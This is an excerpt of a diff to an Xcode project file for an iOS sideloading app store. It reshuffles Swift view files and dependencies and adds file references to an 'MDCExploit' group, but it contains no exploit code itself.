1F0DD81B2932D2FF007608A4 /* AppScreenshotsScrollView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppScreenshotsScrollView.swift; sourceTree = "<group>"; };
|
||||
1F0DD8202933B749007608A4 /* AppPermissionsGrid.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppPermissionsGrid.swift; sourceTree = "<group>"; };
|
||||
1F0DD83E29367F6C007608A4 /* ConnectAppleIDView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ConnectAppleIDView.swift; sourceTree = "<group>"; };
|
||||
1F0DD84029368056007608A4 /* EnvironmentValues.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = EnvironmentValues.swift; sourceTree = "<group>"; };
|
||||
1F0DD8422936B0F9007608A4 /* RoundedTextField.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RoundedTextField.swift; sourceTree = "<group>"; };
|
||||
1F0DD8442936B3FE007608A4 /* FilledButtonStyle.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FilledButtonStyle.swift; sourceTree = "<group>"; };
|
||||
1F180F91298E7A1B00D1C98B /* StoreApp+Trusted.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "StoreApp+Trusted.swift"; sourceTree = "<group>"; };
|
||||
1F180F93298E7A2500D1C98B /* Source+Trusted.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "Source+Trusted.swift"; sourceTree = "<group>"; };
|
||||
1F1D669D29A234CE0095BFCD /* WriteAppReviewView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WriteAppReviewView.swift; sourceTree = "<group>"; };
|
||||
1F2EF786297C4D40002FD839 /* LicensesView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LicensesView.swift; sourceTree = "<group>"; };
|
||||
1F44634429744E570070E514 /* HintView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = HintView.swift; sourceTree = "<group>"; };
|
||||
1F545E82298D79E400589F68 /* ErrorLogView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ErrorLogView.swift; sourceTree = "<group>"; };
|
||||
1F545E84298D84CF00589F68 /* FilePreviewView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FilePreviewView.swift; sourceTree = "<group>"; };
|
||||
1F545E86298D86D800589F68 /* ModalNavigationLink.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ModalNavigationLink.swift; sourceTree = "<group>"; };
|
||||
1F5DF9D72974426300DDAA47 /* AppScreenshot.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = AppScreenshot.swift; sourceTree = "<group>"; };
|
||||
1F6284D4295209DA0060AAD8 /* AppAction.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppAction.swift; sourceTree = "<group>"; };
|
||||
1F6284D6295218980060AAD8 /* DocumentPicker.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DocumentPicker.swift; sourceTree = "<group>"; };
|
||||
1F6284D829523D340060AAD8 /* SideloadingManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SideloadingManager.swift; sourceTree = "<group>"; };
|
||||
1F66F5B92938CA5700A910CA /* VisualEffectView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = VisualEffectView.swift; sourceTree = "<group>"; };
|
||||
1F66F5BB2938F03700A910CA /* Modifiers.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Modifiers.swift; sourceTree = "<group>"; };
|
||||
1F66F5BD2938F06100A910CA /* StoreApp+Filterable.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "StoreApp+Filterable.swift"; sourceTree = "<group>"; };
|
||||
1F66F5BF2938F07C00A910CA /* Filterable.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Filterable.swift; sourceTree = "<group>"; };
|
||||
1F6E08D9292806E0005059C0 /* AppRowView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppRowView.swift; sourceTree = "<group>"; };
|
||||
1F6E08DB292807D3005059C0 /* AppIconView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppIconView.swift; sourceTree = "<group>"; };
|
||||
1F6E08DF29280B12005059C0 /* SafariView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SafariView.swift; sourceTree = "<group>"; };
|
||||
1F6E08E329280D1E005059C0 /* PillButtonStyle.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PillButtonStyle.swift; sourceTree = "<group>"; };
|
||||
1F6E08E529280F4B005059C0 /* RatingStars.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RatingStars.swift; sourceTree = "<group>"; };
|
||||
1F6E08E729282174005059C0 /* ConfirmAddSourceView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ConfirmAddSourceView.swift; sourceTree = "<group>"; };
|
||||
1F943C632927EF4200ABE095 /* NewsItemView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NewsItemView.swift; sourceTree = "<group>"; };
|
||||
1F943C652927F36600ABE095 /* NewsViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NewsViewModel.swift; sourceTree = "<group>"; };
|
||||
1F943C672927F39400ABE095 /* ViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ViewModel.swift; sourceTree = "<group>"; };
|
||||
1F981B1029AA0FAE0014950E /* OnboardingView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OnboardingView.swift; sourceTree = "<group>"; };
|
||||
1F981B1229AA101F0014950E /* OnboardingStepView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OnboardingStepView.swift; sourceTree = "<group>"; };
|
||||
1F981B1429AA1E070014950E /* AppIconsShowcase.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppIconsShowcase.swift; sourceTree = "<group>"; };
|
||||
1F981B1629AA34A70014950E /* AppStoreProductView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppStoreProductView.swift; sourceTree = "<group>"; };
|
||||
1FA1C8C9294906890083119D /* MyAppsViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MyAppsViewModel.swift; sourceTree = "<group>"; };
|
||||
1FA5A6C9298E8B2F007BA946 /* RefreshAttemptsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RefreshAttemptsView.swift; sourceTree = "<group>"; };
|
||||
1FA5A6CB298E8FE4007BA946 /* MailComposeView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MailComposeView.swift; sourceTree = "<group>"; };
|
||||
1FAFC5A42927E00000B8D837 /* SideStoreUIApp.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SideStoreUIApp.swift; sourceTree = "<group>"; };
|
||||
1FAFC5B52927E06300B8D837 /* RootView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RootView.swift; sourceTree = "<group>"; };
|
||||
1FAFC5B82927E0EE00B8D837 /* NewsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NewsView.swift; sourceTree = "<group>"; };
|
||||
1FAFC5BA2927E0F800B8D837 /* BrowseView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BrowseView.swift; sourceTree = "<group>"; };
|
||||
1FAFC5BD2927E10D00B8D837 /* MyAppsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MyAppsView.swift; sourceTree = "<group>"; };
|
||||
1FAFC5C02927E13C00B8D837 /* SettingsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SettingsView.swift; sourceTree = "<group>"; };
|
||||
1FAFC5C32927E18100B8D837 /* NavigationTab.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NavigationTab.swift; sourceTree = "<group>"; };
|
||||
1FB84BA52928DE08006A5CF4 /* AppDetailView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDetailView.swift; sourceTree = "<group>"; };
|
||||
1FB96FBD292A20E5007E68D1 /* ObservableScrollView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ObservableScrollView.swift; sourceTree = "<group>"; };
|
||||
1FB96FBF292A63F2007E68D1 /* AppPillButton.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppPillButton.swift; sourceTree = "<group>"; };
|
||||
1FB96FC2292A6D7E007E68D1 /* DateFormatterHelper.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DateFormatterHelper.swift; sourceTree = "<group>"; };
|
||||
1FB96FC4292A7251007E68D1 /* BrowseAppPreviewView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BrowseAppPreviewView.swift; sourceTree = "<group>"; };
|
||||
1FB96FC6292A853D007E68D1 /* SourcesView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SourcesView.swift; sourceTree = "<group>"; };
|
||||
1FB96FC8292ABDD0007E68D1 /* AddSourceView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AddSourceView.swift; sourceTree = "<group>"; };
|
||||
1FB96FCE292BBBC9007E68D1 /* SiriShortcutSetupView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SiriShortcutSetupView.swift; sourceTree = "<group>"; };
|
||||
1FB96FEB292C171D007E68D1 /* NotificationManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NotificationManager.swift; sourceTree = "<group>"; };
|
||||
1FB96FF2292D0539007E68D1 /* PillButtonProgressViewStyle.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PillButtonProgressViewStyle.swift; sourceTree = "<group>"; };
|
||||
1FF8C6172A1780C60041352C /* ActivityView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ActivityView.swift; sourceTree = "<group>"; };
|
||||
1FFA56C1299994390011B6F5 /* OutputCapturer.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OutputCapturer.swift; sourceTree = "<group>"; };
|
||||
1FFEF103298552DB0098374C /* AppVersionHistoryView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppVersionHistoryView.swift; sourceTree = "<group>"; };
|
||||
9961EC2D29BE9F2E00AF2C6F /* minimuxer-helpers.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = "minimuxer-helpers.swift"; path = "Dependencies/minimuxer/minimuxer-helpers.swift"; sourceTree = SOURCE_ROOT; };
|
||||
99F87D1629D8E4C900B40039 /* SwiftBridgeCore.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = SwiftBridgeCore.swift; path = Dependencies/minimuxer/SwiftBridgeCore.swift; sourceTree = SOURCE_ROOT; };
|
||||
99F87D1729D8E4C900B40039 /* minimuxer.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = minimuxer.swift; path = Dependencies/minimuxer/minimuxer.swift; sourceTree = SOURCE_ROOT; };
|
||||
7DBDF4B62991727000C18375 /* helping_tools.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helping_tools.h; sourceTree = "<group>"; };
|
||||
7DBDF4B72991727200C18375 /* grant_fda.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_fda.m; sourceTree = "<group>"; };
|
||||
7DBDF4B82991727200C18375 /* helping_tools.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helping_tools.m; sourceTree = "<group>"; };
|
||||
7DBDF4B92991727300C18375 /* vm_unalign_csr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unalign_csr.c; sourceTree = "<group>"; };
|
||||
7DBDF4BA2991727400C18375 /* grant_fda.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_fda.h; sourceTree = "<group>"; };
|
||||
7DBDF4BB2991727500C18375 /* vm_unalign_csr.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unalign_csr.h; sourceTree = "<group>"; };
|
||||
7DBDF4BF299172A000C18375 /* CowExploits.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CowExploits.swift; sourceTree = "<group>"; };
|
||||
B3146EC6284F580500BBC3FD /* Roxas.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.pb-project"; name = Roxas.xcodeproj; path = Dependencies/Roxas/Roxas.xcodeproj; sourceTree = "<group>"; };
|
||||
B33FFBA9295F8F78002259E6 /* preboard.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = preboard.c; path = src/preboard.c; sourceTree = "<group>"; };
|
||||
B33FFBAB295F8F98002259E6 /* companion_proxy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = companion_proxy.c; path = src/companion_proxy.c; sourceTree = "<group>"; };
|
||||
@@ -861,6 +738,7 @@
|
||||
BF9ABA4A22DD137F008935CF /* NavigationBar.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = NavigationBar.swift; sourceTree = "<group>"; };
|
||||
BF9ABA4C22DD16DE008935CF /* PillButton.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PillButton.swift; sourceTree = "<group>"; };
|
||||
BFA8172A23C5633D001B5953 /* FetchAnisetteDataOperation.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FetchAnisetteDataOperation.swift; sourceTree = "<group>"; };
|
||||
BFB1169C22932DB100BB457C /* apps.json */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.json; path = apps.json; sourceTree = "<group>"; };
|
||||
BFB39B5B252BC10E00D1BE50 /* Managed.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Managed.swift; sourceTree = "<group>"; };
|
||||
BFB4323E22DE852000B7F8BC /* UpdateCollectionViewCell.xib */ = {isa = PBXFileReference; lastKnownFileType = file.xib; path = UpdateCollectionViewCell.xib; sourceTree = "<group>"; };
|
||||
BFB6B21D231870160022A802 /* NewsViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NewsViewController.swift; sourceTree = "<group>"; };
|
||||
@@ -980,7 +858,6 @@
|
||||
D5F2F6A82720B7C20081CCF5 /* PatchViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PatchViewController.swift; sourceTree = "<group>"; };
|
||||
D5F99A1728D11DB500476A16 /* AltStore10ToAltStore11.xcmappingmodel */ = {isa = PBXFileReference; lastKnownFileType = wrapper.xcmappingmodel; path = AltStore10ToAltStore11.xcmappingmodel; sourceTree = "<group>"; };
|
||||
D5F99A1928D12B1400476A16 /* StoreApp10ToStoreApp11Policy.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = StoreApp10ToStoreApp11Policy.swift; sourceTree = "<group>"; };
|
||||
DFEE02F82957998D00518C34 /* es-419 */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = "es-419"; path = "es-419.lproj/Localizable.strings"; sourceTree = "<group>"; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXFrameworksBuildPhase section */
|
||||
@@ -1031,7 +908,6 @@
|
||||
B3C395F1284F2DE700DA9E2F /* KeychainAccess in Frameworks */,
|
||||
99C4EF4D2979132100CB538D /* SemanticVersion in Frameworks */,
|
||||
4879A95F2861046500FC1BBD /* AltSign in Frameworks */,
|
||||
1F07F5692955D3EC00F7BE95 /* SFSafeSymbols in Frameworks */,
|
||||
B39575F5284F29E20080B4FF /* Roxas.framework in Frameworks */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
@@ -1049,23 +925,18 @@
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
B33FFBA8295F8E98002259E6 /* libfragmentzip.a in Frameworks */,
|
||||
191E6087290C7B50001A3B7C /* libminimuxer.a in Frameworks */,
|
||||
191E5FB4290A5DA0001A3B7C /* libminimuxer.a in Frameworks */,
|
||||
19104DBC2909C4E500C49C7B /* libEmotionalDamage.a in Frameworks */,
|
||||
1F1295812989B51F0048FCB9 /* ExpandableText in Frameworks */,
|
||||
19104D952909BAEA00C49C7B /* libimobiledevice.a in Frameworks */,
|
||||
B3146ED2284F581E00BBC3FD /* Roxas.framework in Frameworks */,
|
||||
D533E8B72727841800A9B5DD /* libAppleArchive.tbd in Frameworks */,
|
||||
B3C395F9284F362400DA9E2F /* AppCenterCrashes in Frameworks */,
|
||||
9922FFEC29B501C50020F868 /* Starscream in Frameworks */,
|
||||
1FF8C61B2A1782F10041352C /* Reachability in Frameworks */,
|
||||
D533E8BE2727BBF800A9B5DD /* libcurl.a in Frameworks */,
|
||||
4879A9622861049C00FC1BBD /* OpenSSL in Frameworks */,
|
||||
B3C395F4284F35DD00DA9E2F /* Nuke in Frameworks */,
|
||||
1F74FF1E295263510047C051 /* AsyncImage in Frameworks */,
|
||||
BF1614F1250822F100767AEA /* Roxas.framework in Frameworks */,
|
||||
B3C395F7284F362400DA9E2F /* AppCenterAnalytics in Frameworks */,
|
||||
1F07F5672955D16A00F7BE95 /* SFSafeSymbols in Frameworks */,
|
||||
1FFA56C52999978C0011B6F5 /* LocalConsole in Frameworks */,
|
||||
BF66EE852501AE50007EE018 /* AltStoreCore.framework in Frameworks */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
@@ -1085,9 +956,8 @@
|
||||
191E5FAC290A5D92001A3B7C /* minimuxer */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
9961EC2D29BE9F2E00AF2C6F /* minimuxer-helpers.swift */,
|
||||
99F87D1429D8E3F100B40039 /* Generated */,
|
||||
B343F847295F6321002B1159 /* minimuxer.xcodeproj */,
|
||||
191E5FAD290A5D92001A3B7C /* minimuxer.swift */,
|
||||
);
|
||||
path = minimuxer;
|
||||
sourceTree = "<group>";
|
||||
@@ -1109,201 +979,18 @@
|
||||
path = "libimobiledevice-glue/src";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1F07F553295458D800F7BE95 /* Generated */ = {
|
||||
7DBDF49C2991720500C18375 /* MDCExploit */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1F07F554295458D800F7BE95 /* Assets.swift */,
|
||||
1F07F555295458D800F7BE95 /* Localizations.swift */,
|
||||
7DBDF4BA2991727400C18375 /* grant_fda.h */,
|
||||
7DBDF4B72991727200C18375 /* grant_fda.m */,
|
||||
7DBDF4B62991727000C18375 /* helping_tools.h */,
|
||||
7DBDF4B82991727200C18375 /* helping_tools.m */,
|
||||
7DBDF4B92991727300C18375 /* vm_unalign_csr.c */,
|
||||
7DBDF4BB2991727500C18375 /* vm_unalign_csr.h */,
|
||||
7DBDF4BF299172A000C18375 /* CowExploits.swift */,
|
||||
);
|
||||
path = Generated;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1F6E08DD29280AF1005059C0 /* View Extensions */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1FB96FF1292D051F007E68D1 /* Styles */,
|
||||
1F6E08DE29280AFF005059C0 /* UIView Representables */,
|
||||
1F0DD84029368056007608A4 /* EnvironmentValues.swift */,
|
||||
1F66F5BB2938F03700A910CA /* Modifiers.swift */,
|
||||
);
|
||||
path = "View Extensions";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1F6E08DE29280AFF005059C0 /* UIView Representables */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1F6E08DF29280B12005059C0 /* SafariView.swift */,
|
||||
1FB96FCE292BBBC9007E68D1 /* SiriShortcutSetupView.swift */,
|
||||
1F66F5B92938CA5700A910CA /* VisualEffectView.swift */,
|
||||
1F6284D6295218980060AAD8 /* DocumentPicker.swift */,
|
||||
1F545E84298D84CF00589F68 /* FilePreviewView.swift */,
|
||||
1FA5A6CB298E8FE4007BA946 /* MailComposeView.swift */,
|
||||
1F981B1629AA34A70014950E /* AppStoreProductView.swift */,
|
||||
1FF8C6172A1780C60041352C /* ActivityView.swift */,
|
||||
);
|
||||
path = "UIView Representables";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1F981B0F29AA0F9B0014950E /* Onboarding */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1F981B1029AA0FAE0014950E /* OnboardingView.swift */,
|
||||
1F981B1229AA101F0014950E /* OnboardingStepView.swift */,
|
||||
1F981B1429AA1E070014950E /* AppIconsShowcase.swift */,
|
||||
);
|
||||
path = Onboarding;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FAFC5B02927E01400B8D837 /* Views */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1FAFC5B52927E06300B8D837 /* RootView.swift */,
|
||||
1FAFC5B12927E02E00B8D837 /* Authentication */,
|
||||
1F981B0F29AA0F9B0014950E /* Onboarding */,
|
||||
1FAFC5B22927E03300B8D837 /* News */,
|
||||
1FAFC5B32927E03D00B8D837 /* Browse */,
|
||||
1FAFC5BC2927E0FD00B8D837 /* My Apps */,
|
||||
1FAFC5BF2927E12B00B8D837 /* Settings */,
|
||||
1FAFC5B42927E04B00B8D837 /* App Detail */,
|
||||
);
|
||||
path = Views;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FAFC5B12927E02E00B8D837 /* Authentication */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
);
|
||||
path = Authentication;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FAFC5B22927E03300B8D837 /* News */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1FAFC5B82927E0EE00B8D837 /* NewsView.swift */,
|
||||
1F943C652927F36600ABE095 /* NewsViewModel.swift */,
|
||||
1F943C632927EF4200ABE095 /* NewsItemView.swift */,
|
||||
);
|
||||
path = News;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FAFC5B32927E03D00B8D837 /* Browse */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1FAFC5BA2927E0F800B8D837 /* BrowseView.swift */,
|
||||
1FB96FC6292A853D007E68D1 /* SourcesView.swift */,
|
||||
1FB96FC8292ABDD0007E68D1 /* AddSourceView.swift */,
|
||||
1F6E08E729282174005059C0 /* ConfirmAddSourceView.swift */,
|
||||
1FB96FC4292A7251007E68D1 /* BrowseAppPreviewView.swift */,
|
||||
);
|
||||
path = Browse;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FAFC5B42927E04B00B8D837 /* App Detail */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1FB84BA52928DE08006A5CF4 /* AppDetailView.swift */,
|
||||
1F0DD81B2932D2FF007608A4 /* AppScreenshotsScrollView.swift */,
|
||||
1F0DD8202933B749007608A4 /* AppPermissionsGrid.swift */,
|
||||
1F07F56A2955F11500F7BE95 /* AppScreenshotsPreview.swift */,
|
||||
1FFEF103298552DB0098374C /* AppVersionHistoryView.swift */,
|
||||
1F1D669D29A234CE0095BFCD /* WriteAppReviewView.swift */,
|
||||
);
|
||||
path = "App Detail";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FAFC5B72927E06C00B8D837 /* App */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1FAFC5A42927E00000B8D837 /* SideStoreUIApp.swift */,
|
||||
);
|
||||
path = App;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FAFC5BC2927E0FD00B8D837 /* My Apps */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1FAFC5BD2927E10D00B8D837 /* MyAppsView.swift */,
|
||||
1FA1C8C9294906890083119D /* MyAppsViewModel.swift */,
|
||||
1F6284D4295209DA0060AAD8 /* AppAction.swift */,
|
||||
1F07F56E2955FB2000F7BE95 /* AppIDsView.swift */,
|
||||
);
|
||||
path = "My Apps";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FAFC5BF2927E12B00B8D837 /* Settings */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1FAFC5C02927E13C00B8D837 /* SettingsView.swift */,
|
||||
1F0DD83E29367F6C007608A4 /* ConnectAppleIDView.swift */,
|
||||
1F2EF786297C4D40002FD839 /* LicensesView.swift */,
|
||||
1F545E82298D79E400589F68 /* ErrorLogView.swift */,
|
||||
1FA5A6C9298E8B2F007BA946 /* RefreshAttemptsView.swift */,
|
||||
);
|
||||
path = Settings;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FAFC5C22927E17100B8D837 /* Protocols */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1FAFC5C32927E18100B8D837 /* NavigationTab.swift */,
|
||||
1F943C672927F39400ABE095 /* ViewModel.swift */,
|
||||
1F66F5BF2938F07C00A910CA /* Filterable.swift */,
|
||||
);
|
||||
path = Protocols;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FB84BA72928E073006A5CF4 /* View Components */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1F6E08D9292806E0005059C0 /* AppRowView.swift */,
|
||||
1F6E08DB292807D3005059C0 /* AppIconView.swift */,
|
||||
1FB96FBF292A63F2007E68D1 /* AppPillButton.swift */,
|
||||
1F5DF9D72974426300DDAA47 /* AppScreenshot.swift */,
|
||||
1F44634429744E570070E514 /* HintView.swift */,
|
||||
1FB96FBD292A20E5007E68D1 /* ObservableScrollView.swift */,
|
||||
1F6E08E529280F4B005059C0 /* RatingStars.swift */,
|
||||
1F0DD8422936B0F9007608A4 /* RoundedTextField.swift */,
|
||||
1F545E86298D86D800589F68 /* ModalNavigationLink.swift */,
|
||||
);
|
||||
path = "View Components";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FB96FC1292A6D6C007E68D1 /* Helper */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1FB96FC2292A6D7E007E68D1 /* DateFormatterHelper.swift */,
|
||||
1F6284D829523D340060AAD8 /* SideloadingManager.swift */,
|
||||
);
|
||||
path = Helper;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FB96FEA292C1704007E68D1 /* Manager */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1FB96FEB292C171D007E68D1 /* NotificationManager.swift */,
|
||||
1FFA56C1299994390011B6F5 /* OutputCapturer.swift */,
|
||||
);
|
||||
path = Manager;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
1FB96FF1292D051F007E68D1 /* Styles */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1F6E08E329280D1E005059C0 /* PillButtonStyle.swift */,
|
||||
1FB96FF2292D0539007E68D1 /* PillButtonProgressViewStyle.swift */,
|
||||
1F0DD8442936B3FE007608A4 /* FilledButtonStyle.swift */,
|
||||
);
|
||||
path = Styles;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
99F87D1429D8E3F100B40039 /* Generated */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
99F87D1629D8E4C900B40039 /* SwiftBridgeCore.swift */,
|
||||
99F87D1729D8E4C900B40039 /* minimuxer.swift */,
|
||||
);
|
||||
name = Generated;
|
||||
path = minimuxer;
|
||||
path = MDCExploit;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
B3146EC7284F580500BBC3FD /* Products */ = {
|
||||
@@ -1724,6 +1411,7 @@
|
||||
BF6C8FA8242935CA00125131 /* Dependencies */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
7DBDF49C2991720500C18375 /* MDCExploit */,
|
||||
BF6C8FA9242935DB00125131 /* MarkdownAttributedString */,
|
||||
);
|
||||
name = Dependencies;
|
||||
@@ -1871,14 +1559,6 @@
|
||||
BFD2476C2284B9A500981D42 /* AltStore */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
1FAFC5B72927E06C00B8D837 /* App */,
|
||||
1FB96FC1292A6D6C007E68D1 /* Helper */,
|
||||
1F07F553295458D800F7BE95 /* Generated */,
|
||||
1FB96FEA292C1704007E68D1 /* Manager */,
|
||||
1FAFC5C22927E17100B8D837 /* Protocols */,
|
||||
1FAFC5B02927E01400B8D837 /* Views */,
|
||||
1FB84BA72928E073006A5CF4 /* View Components */,
|
||||
1F6E08DD29280AF1005059C0 /* View Extensions */,
|
||||
B39F16112918D7B5002E9404 /* Consts */,
|
||||
BF219A7E22CAC431007676A6 /* AltStore.entitlements */,
|
||||
BFD2476D2284B9A500981D42 /* AppDelegate.swift */,
|
||||
@@ -1913,6 +1593,7 @@
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
B343F86C295F759E002B1159 /* libresolv.tbd */,
|
||||
191E5FB5290A5E1F001A3B7C /* libminimuxer.a */,
|
||||
B39575F4284F29E20080B4FF /* Roxas.framework */,
|
||||
D533E8B62727841800A9B5DD /* libAppleArchive.tbd */,
|
||||
BF580497246A3D19008AE704 /* UIKit.framework */,
|
||||
